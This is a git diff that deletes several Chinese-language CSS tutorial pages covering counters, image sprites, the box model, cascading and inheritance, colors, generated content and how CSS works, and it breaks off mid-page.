  • Author(s): Eric A. Meyer, Netscape Communications
  • -
  • Last Updated Date: Published 30 Aug 2002
  • -
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Note: This reprinted article was originally part of the DevEdge site.
  • -
-
- -

{{ languages( { "fr": "fr/Indentation_homog\u00e8ne_des_listes" } ) }}

diff --git a/files/zh-cn/web/guide/css/counters/index.html b/files/zh-cn/web/guide/css/counters/index.html deleted file mode 100644 index 4a8fa17797..0000000000 --- a/files/zh-cn/web/guide/css/counters/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: 使用CSS计数器 -slug: Web/Guide/CSS/Counters -tags: - - CSS - - CSS List - - Web - - counter - - 教程 -translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters ---- -
{{CSSRef}}
- -

本质上CSS计数器是由CSS维护的变量,这些变量可能根据CSS规则增加以跟踪使用次数。这允许你根据文档位置来调整内容表现。 CSS计数器是CSS2.1中自动计数编号部分的实现。

- -

计数器的值通过使用{{cssxref("counter-reset")}} 和 {{cssxref("counter-increment")}} 操作,在 content 上应用 counter()counters()函数来显示在页面上。

- -

使用计数器

- -

使用CSS计数器之前,必须重置一个值,默认是0。使用{{cssxref("counter()")}}函数来给元素增加计数器。 下面的CSS给每个h3元素的前面增加了 "Section <计算器值>:"。

- -
body {
-  counter-reset: section;           /* 重置计数器成0 */
-}
-h3:before {
-  counter-increment: section;      /* 增加计数器值 */
-  content: "Section " counter(section) ": "; /* 显示计数器 */
-}
-
- -

例如:

- -
<h3>Introduction</h3>
-<h3>Body</h3>
-<h3>Conclusion</h3>
- -

{{ EmbedLiveSample('使用计数器', 300,200) }}

- -

计数器嵌套

- -

CSS计数器对创建有序列表特别有用,因为在子元素中会自动创建一个CSS计数器的实例。使用 counters() 函数,在不同级别的嵌套计数器之间可以插入字符串。比如这个CSS例子:

- -
ol {
-  counter-reset: section;                /* 为每个ol元素创建新的计数器实例 */
-  list-style-type: none;
-}
-li:before {
-  counter-increment: section;            /* 只增加计数器的当前实例 */
-  content: counters(section, ".") " ";   /* 为所有计数器实例增加以“.”分隔的值 */
-}
-
- -

结合下面的HTML:

- -
<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item               <!-- 2     -->
-    <ol>
-      <li>item</li>      <!-- 2.1   -->
-      <li>item</li>      <!-- 2.2   -->
-      <li>item           <!-- 2.3   -->
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-        </ol>
-        <ol>
-          <li>item</li>  <!-- 2.3.1 -->
-          <li>item</li>  <!-- 2.3.2 -->
-          <li>item</li>  <!-- 2.3.3 -->
-        </ol>
-      </li>
-      <li>item</li>      <!-- 2.4   -->
-    </ol>
-  </li>
-  <li>item</li>          <!-- 3     -->
-  <li>item</li>          <!-- 4     -->
-</ol>
-<ol>
-  <li>item</li>          <!-- 1     -->
-  <li>item</li>          <!-- 2     -->
-</ol>
- -

结果为:

- -

{{ EmbedLiveSample('计数器嵌套') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}无变化
{{SpecName('CSS2.1', 'generate.html#generate.html#counters', 'counter-reset')}}{{Spec2('CSS2.1')}}初始定义
- -

其它

- - - -

另一个可用的示例在 http://www.mezzoblue.com/archives/20.../counter_intu/。这篇博客 发布于2006年11月1日,但是看上去写得还是准确的。

- -
 
diff --git a/files/zh-cn/web/guide/css/css_image_sprites/index.html b/files/zh-cn/web/guide/css/css_image_sprites/index.html deleted file mode 100644 index 4a3e2bb7c9..0000000000 --- a/files/zh-cn/web/guide/css/css_image_sprites/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 在 CSS 中实现图像合并 -slug: Web/Guide/CSS/CSS_Image_Sprites -tags: - - CSS - - CSS Image - - Graphics - - Guide - - Web -translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS ---- -
{{cssRef}}
- -

CSS 图像合并Image sprites) 技术,亦作 CSS 贴图定位、图像精灵(sprite,意为精灵),被运用于众多使用大量小图标的网页应用之上。它可取图像的一部分来使用,使得使用一个图像文件替代多个小文件成为可能。相较于一个小图标一个图像文件,单独一张图片所需的 HTTP 请求更少,对内存和带宽更加友好。

- -
-

备注: 当使用 HTTP/2 时,使用多个小流量请求实际上可能更为带宽友好。

-
- -

实现

- -

若要为所有类名为 toolbtn 的元素附加上一张图片:

- -
.toolbtn {
-  background: url(myfile.png);
-  display: inline-block;
-  height: 20px;
-  width: 20px;
-}
-
- -

为设置 background-position 以使每个按钮得到合并后图片中的正确部分,可以在 background 属性中的 {{cssxref("url()")}} 后添加 x, y 两个坐标值,或直接使用 {{cssxref("background-position")}} 属性。例如:

- -
#btn1 {background-position: -20px 0px}
-#btn2 {background-position: -40px 0px}
-
- -

这会将 ID 为 btn1 的元素的背景向左移 20px,ID 为 btn2 的元素的背景向左移40px(假设这两个元素都带有 toolbtn 这个类且应用了上面 background 属性中定义的图片背景)

- -

类似的,你也可以使用下面的代码添加悬停效果:

- -
#btn:hover {
-  background-position: <pixels shifted right>px <pixels shifted down>px;
-}
-
- -

深入阅读

- -

CSS Tricks 上的完整 Demo:http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/

diff --git "a/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" "b/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" deleted file mode 100644 index 922f62c536..0000000000 --- "a/files/zh-cn/web/guide/css/css\345\237\272\347\241\200/index.html" +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: CSS基础 -slug: Web/Guide/CSS/CSS基础 -tags: - - CSS - - 'CSS:Getting_Started' - - CSS入门 - - CSS教程 - - Web - - 初学者 - - 教程 ---- -

 

- -

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

- -

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

- - - -

在开始学习之前你需要准备什么?

- -
    -
  • 一个文本编辑器
  • -
  • 一个现代浏览器
  • -
  • 编辑器与浏览器的基本使用方法
  • -
- -

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

- -

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

- -

如何使用本指南

- -

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

- -

第一部分:CSS基础

- -

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

- -

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

- -

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

- -

第二部分:CSS的应用范围

- -

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

- -
    -
  1. JavaScript
  2. -
  3. SVG 图形
  4. -
  5. XML 数据
  6. -
  7. XBL bindings
  8. -
  9. XUL 用户界面
  10. -
- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/boxes/index.html b/files/zh-cn/web/guide/css/getting_started/boxes/index.html deleted file mode 100644 index 0bfb7e2ed5..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/boxes/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: 盒模型 -slug: Web/Guide/CSS/Getting_started/Boxes -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}这是 CSS入门教程 的第11节,本节教你如何使用CSS来控制一个可见元素所占据的空间。在示例文档中,你可以修改元素占据的空间并增加装饰规则。

- -

信息:盒模型

- -

当你的浏览器展现一个元素时,这个元素会占据一定的空间。这个空间由四部分组成。

- -

中间是元素呈现内容的区域。这个区域的外面是内边距。再外面是边框。最外面的是外边距,外边距将该元素与其它元素分开。

- - - - - - - - -
-
-

外边距

- -

边框

- -
-

内边距

- -
-

元素

-
-
-
- -

浅灰色标出了布局的几个部分。

-
-
-

 

- -

 

- -
-

 

- -
-

元素

-
-
-
- -

你在浏览器看到的样子。

-
- -

内边距,边框和外边距在元素的上、右、下、左都可以有不同的大小。所有这些大小值都可以为0。

- -

颜色

- -

内边距总是跟元素的背景色一样,所以当你设置背景色时,你会发现背景色在元素本身和内边距上都生效了。外边距总是透明的。

- - - - - - - - -
-
-

外边距

- -

边框

- -
-

内边距

- -
-

元素

-
-
-
- -

元素有绿色的背景。

-
-
-

 

- -

 

- -
-

 

- -
-

元素

-
-
-
- -

你在浏览器看到的样子。

-
- -

边框

- -

你可以用边线或者边框来装饰元素。

- -

用 {{ cssxref("border") }} 属性给元素四周指定统一的边框。在属性值中指定边框的宽度(通常是以显示到屏幕上的像素为单位), 样式, 还有颜色。

- -

样式包括:

- - - - - - - - - - - - - - - - -
-
solid
-
-
dotted
-
-
dashed
-
-
double
-
-
inset
-
-
outset
-
-
ridge
-
-
groove
-
- -

你也可以通过设置样式为 nonehidden 来明确地移除边框,或者设置边框颜色为 transparent 来让边框不可见,后者不会改变布局。

- -

如果一次只指定某一个方向的边框,就用属性: {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{cssxref("border-bottom")}}, {{cssxref("border-left")}}。 你可以用这些属性指定某个方向上的边框,或者不同方向上的不同边框。

- -
-
例子
- -

下面的代码设置了一个h3元素的背景色和顶部边框:

- -
h3 {
-  border-top: 4px solid #7c7; /* 中绿 */
-  background-color: #efe;     /* 浅绿 */
-  color: #050;                /* 深绿 */
-  }
-
- -

结果如下:

- - - - - - - -
-

样式化后的标题

-
- -

下面的规则通过给图片四周设置中灰色边框,使得图片元素更好辨认:

- -
img {border: 2px solid #ccc;}
-
- -

结果如下:

- - - - - - - - -
图片:Image:Blue-rule.png
-
- -

外边距和内边距

- -

使用外边距和内边距调整元素的位置,并在其周围创建空间。

- -

用 {{ cssxref("margin") }} 属性或者 {{ cssxref("padding") }} 属性分别设置外边距和内边距的宽度。

- -

如果你指定一个宽度,它将会作用于元素四周(上、右、下、左)。

- -

如果你指定两个宽度, 第一个宽度会作用于顶部和底部,第二个宽度作用于右边和左边。

- -

你也可以按照顺序指定四个宽度: 上、右、下、左。

- -
-
例子
- -

下面的规则通过给元素四周设置红色边框,标记出了类名为  remark 的段落元素。

- -

文本周围的内边距将边框与文字拉开一点距离。

- -

左外边距使得段落相对于其余文本产生缩进:

- -
p.remark {
-  border: 2px solid red;
-  padding: 4px;
-  margin-left: 24px;
-  }
-
- -

结果如下:

- - - - - - - -
-

这是一个普通的段落。

- -

这是一个标记段落。

-
-
- -
-
更多细节
- -

当你使用外边距和内边距来调整元素的布局时,你的样式规则会与浏览器的默认规则以复杂的方式相互作用。

- -

不同的浏览器布局元素的方式不一样。直到你的样式表修改默认样式,结果可能看起来相似。有时这可能让你的样式表给出令人惊讶的结果。

- -

为了达到理想的效果,你可能需要改变文档的标记。本教程的下一页有更多关于这个的信息。

- -

欲知更多关于内边距,外边距和边框的细节, 请看 盒模型 参考页。

-
- -

实践:添加边框

- -

编辑你的CSS文件,style2.css。添加下面的规则,给页面中每个标题元素上面画一条线:

- -
h3 {border-top: 1px solid gray;}
-
- -

如果你做了前一页的挑战题,现在修改你已经创建的规则,或者添加这条新规则,给每个列表项的下面增加一定的空间:

- -
li {
-  list-style: lower-roman;
-  margin-bottom: 8px;
-  }
-
- -

刷新你的浏览器看看效果:

- - - - - - - -
-

(A) The oceans

- -
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
- -

(B) Numbered paragraphs

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -
-
挑战
- -

给你的样式表添加一个规则,为下面的海洋列表增加 一个四面环绕且带有颜色的边框,来突出海洋——如下图所示:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -

. . .

-
- -

 

- -

(不必完全保证宽度和颜色和这里的一模一样。)

-
- -

看答案。

- -

下一节?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局") }}通过指定外边距和内边距,你已经能修改文档的布局了。下一页,你将使用别的方式来改变文档的布局 。

diff --git a/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html b/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html deleted file mode 100644 index e5a3bae8a0..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: 层叠和继承 -slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作")}} 这是 开始学CSS 教程的第4节; 这一节介绍了样式表中元素如何从父级继承样式,以及不同层级的样式如何相互作用决定最终显示效果。教给你通过在样式表中添加级联样式语句,进一步控制页面元素的展现。

- -

资料: 层叠和继承

- -

一个元素的样式,可以通过多种方式来定义,而多种定义方式之间通过复杂的影响关系决定了元素的最终样式。这种复杂既造就了CSS的强大,也导致CSS显得如此“混乱”而且难以调试。

- -

对于层叠来说,共有三种主要的样式来源:

- -
    -
  • 浏览器对HTML定义的默认样式。
  • -
  • 用户定义的样式。
  • -
  • 开发者定义的样式,可以有三种形式: -
      -
    • 定义在外部文件(外链样式):本教程中案例主要是通过这种形式定义样式。
    • -
    • 在页面的头部定义(内联样式):通过这种形式定义的样式只在本页面内生效。
    • -
    • 定义在特定的元素身上(行内样式):这种形式多用于测试,可维护性较差。
    • -
    -
  • -
- -

用户定义的样式表会覆盖浏览器定义的默认样式,然后网页开发者定义的样式又会覆盖用户样式。在这个教程中,你作为网页的开发者只需要关注开发者样式。

- -
-
示例
- -

就你现在看到的这个页面而言,有一部分样式是来自浏览器定义的默认的HTML样式。

- -

有一部分样式可能来自用户通过浏览器自定义的样式,或者为浏览器引入自定义的样式表。例如,在Firefox中,在“首选项”对话框中可以自定义样式,也可以建立一个单独的userContent.css 样式文件并放到“用户配置”的文件夹中。

- -

另外,还有一部分样式来自外链的wiki服务器上的样式表。

-
- -

在浏览器中打开前面写的例子页面,你会发现 {{ HTMLElement("strong") }} 元素中的文字会比其他文字粗一些。这些样式就是在浏览器定义的默认HTML样式。

- -

而{{ HTMLElement("strong") }} 元素是红色的,这是你在自己的样式表中定义的样式。

- -

同时,{{ HTMLElement("strong") }} 作为 {{ HTMLElement("p") }} 的子元素,也继承了 {{ HTMLElement("p") }} 的样式。同样的, {{ HTMLElement("p") }} 也从 {{ HTMLElement("body") }} 中继承了许多的样式。

- -

再来看看优先级,从高到低依次为:网页开发者定义的样式、网页阅读者定义的样式、浏览器的默认样式。

- -

对继承的元素来说,子元素自身的样式优先级高于从父级继承来的样式。

- -

当然,关于优先级还有更多的知识点,我们会在后面的章节中继续介绍。

- -
-
更多细节
- -

CSS 另外提供了一个!important关键字,用户可以通过使用这个关键字使自己定义的样式覆盖掉开发者定义的样式。

- -

这就意味着,作为开发者,你很难准确的预知页面最终在用户电脑上的显示效果。

- -

如果你想了解关于层级和继承的全部细节,请阅读CSS文档中的相关章节(英文):Assigning property values, Cascading, and Inheritance

-
- -

动手: 使用继承

- -
    -
  1. 编辑你之前创建的style.css文件。
  2. -
  3. 把下面这行代码粘到以前的文件中,粘在之前的代码的上面或下面都可以。 不过,加在css文件的头部会更符合逻辑一些,因为在页面中 {{ HTMLElement("p") }} 是 {{ HTMLElement("strong") }} 的父级元素: -
    p {color: blue; text-decoration: underline;}
    -
    -
  4. -
  5. 现在刷新你的浏览器,应该可以看到页面的变化。页面里所有的文本应该都被加上了下划线,也包括大写的首字母。{{ HTMLElement("strong") }} 从它的父级元素 {{ HTMLElement("p") }} 上继承到了下划线的样式。
    - -

    但是,{{ HTMLElement("strong") }} 元素仍然是红色的。红色是它本身的样式,所以优先级会超过父级元素 {{ HTMLElement("p") }} 的蓝色.

    -
  6. -
- - -
- - - - - - - - -
修改前
Cascading Style Sheets
- - - - - - - - -
修改后
Cascading Style Sheets
- -
-
挑战
-改动一下样式表,完整如下效果:只在红色的字母上加下划线: - - - - - - - -
Cascading Style Sheets
- -
-
参考答案
- -

把定义在 {{ HTMLElement("p") }} 标签上的下划线样式移到 {{ HTMLElement("strong") }} 标签上。改后代码如下:

- -
p {color: blue; }
-strong {color: red; text-decoration: underline;}
-
- -

 

-隐藏答案
-查看参考答案
- -

下一节?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}} 到目前为止,你在样式表中所有的样式都是为标签上的,<p> 和 <strong>,你可以尝试着改变一下页面中它们的样式。下一节会介绍怎样通过更有效的方式定义样式。

diff --git a/files/zh-cn/web/guide/css/getting_started/color/index.html b/files/zh-cn/web/guide/css/getting_started/color/index.html deleted file mode 100644 index a9348bd9bd..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/color/index.html +++ /dev/null @@ -1,333 +0,0 @@ ---- -title: Color -slug: Web/Guide/CSS/Getting_started/Color -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color ---- -

{{ CSSTutorialTOC() }}

- -

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式")}}这是 CSS入门教程 系列的第8部分; 介绍了如何在你的CSS文件中运用颜色值. 在示例样式表中,介绍了背景颜色.

- -

关于: 颜色

- -

到目前为止,在这个系列中,都很少用到用名字命名的颜色属性。CSS2支持17种名字的颜色。其中有一些可能不像你期望的那样,如下图:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
blackgraysilverwhite
主要的redlimeblue
次要  yellowaquafuchsia
maroonorangeolivepurplegreennavyteal
- - - -
-
细节
- -
你的浏览器可能支持更多名字命名的颜色,比如:
- -
- - - - - - - - - - - - - - - - -
dodgerbluepeachpufftanfirebrickaquamarine
- -

对于更多存在的名字的颜色命名你可以参看CSS 3颜色模块中的: SVG color keywords 部分. 一定要注意的是,使用名字命名颜色的时候,有可能用户的浏览器是不支持的。

-
- -

对于更多地颜色,你可以使用代表红,绿,蓝三个颜色的16进制数字来表示。16进制数字的范围0-9,a-f。其中a-f代表的数值就是10-15:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#000
纯 红#f00
纯 绿#0f0
纯 蓝#00f
#fff
- -


- 要得到浏览器能够呈现的所有的颜色,你就得使用两个16进制来表示(也就是6位):

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#000000
纯红#ff0000
纯绿#00ff00
纯蓝#0000ff
#ffffff
- -

你能够从你的画图程序或者其他的工具上得到6位的颜色数值.

- -
-
例如
- -

可以通过调整3位数字来得到不同的颜色:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
从纯红开始:#f00
让它淡一点,加一些绿色和蓝色:#f77
让它更偏橙色一些,多加一些绿色:#fa7
让它更深一些,所有的颜色部分,红,绿,蓝都要减少:#c74
让它的饱和度更低一些,所有的颜色值都调整到差不多大小:#c98
如果所有的颜色值都相等,那么就变成了灰色:#ccc
- -

对于浅色,比如说淡蓝色:

- - - - - - - - - - - - - - -
从纯白色开始:#fff
稍微降低一下各个颜色值:#eef
-
- -
-
更多细节
- -

还能够通过RGB值(0-255或者是百分比值),来得到颜色

- -

比如,下面是深红色的RGB表示法:

- -
rgb(128, 0, 0) 
- -

对于如何指定颜色的所有信息,可以参看 CSS规范中的: Colors 部分.

- -

更多关于系统颜色的说明,比如菜单、等,可以参看CSS规范中得: CSS2 System Colors 部分.

-
- -

颜色属性

- -

你已经在文本中使用了 {{ cssxref("color") }} 属性.

- -

同样可以使用{{ cssxref("background-color") }} 属性来改变元素的背景色.

- -

背景色可以设置 transparent 属性来移除掉所有的颜色,呈现出父元素的背景色

- -
-
例如
- -

在本指南中,例如 文本框使用了淡黄色来表示背景色:

- -
background-color: #fffff4;
-
- -

更多细节 文本框使用了下面的淡灰色 :

- -
background-color: #f4f4f4;
-
-
- - - -

实践: 使用颜色代码

- -
    -
  1. 编辑你的CSS文件.
  2. -
  3. 下面用粗体显示的部分,表示首字母用淡蓝色显示. (你的文件中的布局和注释可能与下面所示的不同。按照你喜欢的方式来组织它们吧!) -
    /*** CSS 手册: 颜色页面 ***/
    -
    -/* 页面 字体 */
    -body {font: 16px "Comic Sans MS", cursive;}
    -
    -/* 段落 */
    -p {color: blue;}
    -#first {font-style: italic;}
    -
    -/* 首字母 */
    -strong {
    -  color: red;
    -  background-color: #ddf;
    -  font: 200% serif;
    -  }
    -
    -.carrot {color: red;}
    -.spinach {color: green;} 
    -
  4. -
  5. 保存文件,刷新浏览器看结果.
  6. -
- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -
-
挑战
- -

在你的CSS文件中,把所有的代码颜色的名字用3位16进制数字的方式表示出来.

- -

(不能完全做出来,不过能够最的很接近。如果要准备的表示颜色名字的话,需要6位16进制你需要查一下CSS规范或者是工具来得到一致的颜色.)

- -
-
Possible solution
- -

The following values are reasonable approximations of the named colors:

- -
strong {
-  color: #f00; /* red */
-  background-color: #ddf; /* pale blue */
-  font: 200% serif;
-}
-
-.carrot {
-  color: #fa0; /* orange */
-}
-
-.spinach {
-  color: #080; /* dark green */
-}
-
-p {
-  color: #00f; /* blue */
-}
-
- - -Hide solution
-查看解决的方法.
- -

下一步?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容")}}. 示例文本和示例样式表是严格分开的。在 下一节 将介绍在什么情况下可以允许他们不分开.

diff --git a/files/zh-cn/web/guide/css/getting_started/content/index.html b/files/zh-cn/web/guide/css/getting_started/content/index.html deleted file mode 100644 index f3f9a0797b..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/content/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Content -slug: Web/Guide/CSS/Getting_started/Content -translation_of: Learn/CSS/Howto/Generated_content ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色") }}这是 CSS 入门教程的第9部分,介绍了一些通过CSS改变文档内容的方法。这样,仅修改样式表你就能把文本内容及图片添加到文档。

- -

信息: 内容

- -

CSS的一个重要优势是它可以帮助你将文档内容和其样式分离。但是有时候在样式而非文档中定义一些内容也是很有用的。

- -

在样式中可以定义文本内容和图片内容。当内容与文档结构紧密相关的时候,你可以在样式表中指定内容。

- -
-
更多细节
- -

在样式表中指定内容会使事情变得复杂:你可能有多个语言版本的文档共享同一个样式表。如果样式表的一部分需要翻译,这就意味着你需要将这部分单独保存在多个样式表中,并在不同语言的文档中引用。

- -

如果你指定的内容由通用符号和图片组成的话,就不存在这个问题。

- -

样式表中指定的内容不会成为DOM的一部分。

-
- -

文本内容

- -

CSS可以在元素的前后插入文本:在选择器的后面加上{{ cssxref("::before") }} 或者 {{ cssxref("::after") }} 。在声明中,指定 {{ cssxref("content") }} 属性,并设置文本内容。

- -
-
- -

下面这条规则在所有类名包含 ref的元素前面加上 Reference:

- -
.ref::before {
-  font-weight: bold;
-  color: navy;
-  content: "Reference: ";
-}
-
-
- -
-
更多细节
- -

样式表默认使用UTF-8字符集。也可以通过link属性或样式表以及其他方式指定。 参见 CSS规范中 4.4 CSS style sheet representation

- -

还可以通过转义机制(通过反斜杠转义)指定单个字符。比如, \265B 是国际象棋黑皇后的符号 ♛。更多参见 Referring to characters not represented in a character encoding 和CSS规范中的 Characters and case

-
- -

图片内容

- -

可以通过将{{ cssxref("content") }} 属性值设置为某个图片的URL,可以将图片插到元素的前面或后面。

- -
-
- -

下面这条规则在所有类名包含glossary的a标签后面插入一个空格和一个图标:

- -
a.glossary::after {content: " " url("../images/glossary-icon.gif");}
-
-
- -

将图片设置成元素的背景图:将 {{ cssxref("background") }} 的值设为图片的URL。这是同时设置背景颜色,背景图,图片如何重复等的快捷写法。

- -
-
- -

这条规则通过指定图片URL设置特定元素的背景。

- -

这是一个ID选择器;no-repeat表示背景图只出现一次,不重复:

- -
#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
-
-
- -
-
更多细节
- -

了解更多影响背景图的属性,以及其他背景图选项,参见 {{ cssxref("background") }} 。

-
- -

实践: 添加背景图片

- -

这幅图是一个白方块,底部有一条蓝色实线:

- - - - - - - -
Image:Blue-rule.png
- -
    -
  1. 下载上图放到CSS同目录下
  2. -
  3. 编辑CSS文件,为body设置背景图. -
    background: url("Blue-rule.png");
    -
    - -

    背景图默认是 repeat(重复)的,无需明确指出。图片在水平和垂直方向重复,最终呈现出横格纸的效果:

    - -
    -

    Image:Blue-rule-ground.png

    - -
    -
    -

    Cascading Style Sheets

    -
    - -
    -

    Cascading Style Sheets

    -
    -
    -
    -
  4. -
- -
-
挑战
- -

下载图片:

- - - - - - - -
Image:Yellow-pin.png
- -

在样式表中增加一条规则,使得每行前面显示上面的图标

- -
-

Image:Blue-rule-ground.png

- -
-
image:Yellow-pin.png Cascading Style Sheets
- -
image:Yellow-pin.png Cascading Style Sheets
-
-
- -
-
Possible solution
- -

Add this rule to your stylesheet:

- -
p:before{
-  content: url("yellow-pin.png");
-}
-
- -

 

-Hide solution
-答案.
- -

接下来?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}列表是一种常见的为列表元素添加内容的方式。下节将介绍如何 为列表元素指定样式

diff --git a/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html b/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html deleted file mode 100644 index fce3091715..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: CSS如何工作 -slug: Web/Guide/CSS/Getting_started/How_CSS_works -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为何使用CSS?") }}这是 CSS Getting Started 教程的第三章; 这章解释了CSS在浏览器中是如何工作的。 你可以通过分析示例代码来看看样式表中的详细信息。

- -

信息:CSS 如何工作

- -

浏览器在展现一个文档的时候,必须要把文档内容和相应的样式信息结合起来展示。 这个处理过程一般分两个阶段:

- -
    -
  1. 浏览器先将标记语言和CSS转换成DOM (文档对象模型)结构。 这时DOM 就代表了电脑内存中的相应文档,因为它已经融合了文档内容和相应的样式表。
  2. -
  3. 最后浏览器把 DOM的内容展示出来。
  4. -
- -

标记语言通过使用“元素”来定义文档结构。你需要使用一些以'<'开头和以'>'结尾的字符串,俗称tags,来构成元素。这些元素一般是在'< >'里加上元素名来作为起始tag,在'< >'里加上'/'和元素名的组合来构成结束tag。标记语言中规定,一些元素可以只有一个起始tag,或者构成元素的tag只有一个,但是这个tag里的名称后面必须要加个'/'。

- -

元素也可以作为容器而存在,这样可以把其他元素放到这个元素的起始tag和结束tag之间。

- -

DOM是一种树形结构。 每个元素和非空文本都可以看做是树形结构上的一个结点。DOM结点不再是容器,但是,它可以作为子结点的父类结点而存在。

- -
-
示例
-在示例代码中, 我们使用 <p> 标签和它的结束标签 </p> 构造了一个容器: - -
<p>
-  <strong>C</strong>ascading
-  <strong>S</strong>tyle
-  <strong>S</strong>heets
-</p>
-
- -

实例

- -

http://jsfiddle.net/djaniketster/6jbpS/

- -

在这个 DOM中, P 结点是一个父结点,它的子结点包含了一些STRONG结点和文本结点。同时,STRONG结点各自也是父结点,它们也分别包含了一些文本结点作为子结点。

- -
P
-├─STRONG
-│ └─"C"
-├─"ascading"
-├─STRONG
-│ └─"S"
-├─"tyle"
-├─STRONG
-│ └─"S"
-└─"heets"
-
- -

理解 DOM 结构可以帮助你更好的去设计、调试、维护CSS,因为 DOM 结构就是你的CSS和文档内容融合而成的。

- -

行动:分析DOM结构

- -

使用 DOM Inspector

- -

你需要使用特殊的软件来分析 DOM结构。在这里,假设你使用的是 Mozilla的 DOM Inspector (DOMi) 插件来分析一个 DOM结构。 下面的操作需要你提前安装插件才可以执行。

- -
    -
  1. 使用 Mozilla 浏览器来打开示例文档。
  2. -
  3. 在浏览器菜单栏中,选择 工具 > 查看器,也可能是选择 工具> Web 开发者 > 查看器。 -
    -
    更多细节
    - -

    如果你的 Mozilla 浏览器没有安装 DOMi,你可以到 安装地址 来安装并重启浏览器,然后再回到这里继续学习。

    - -

    如果你不想安装 DOMi (或者你使用的是非Mozilla浏览器),那么你可以试试下个章节中介绍的 Web X-Ray Goggles。 你也可以直接跳过本章节,进行下一章的学习,这并不会影响你接下来的学习内容。

    -
    -
  4. -
  5. 你可以在 DOMi中通过点击文档结点前面的箭头来将他们展开。 -

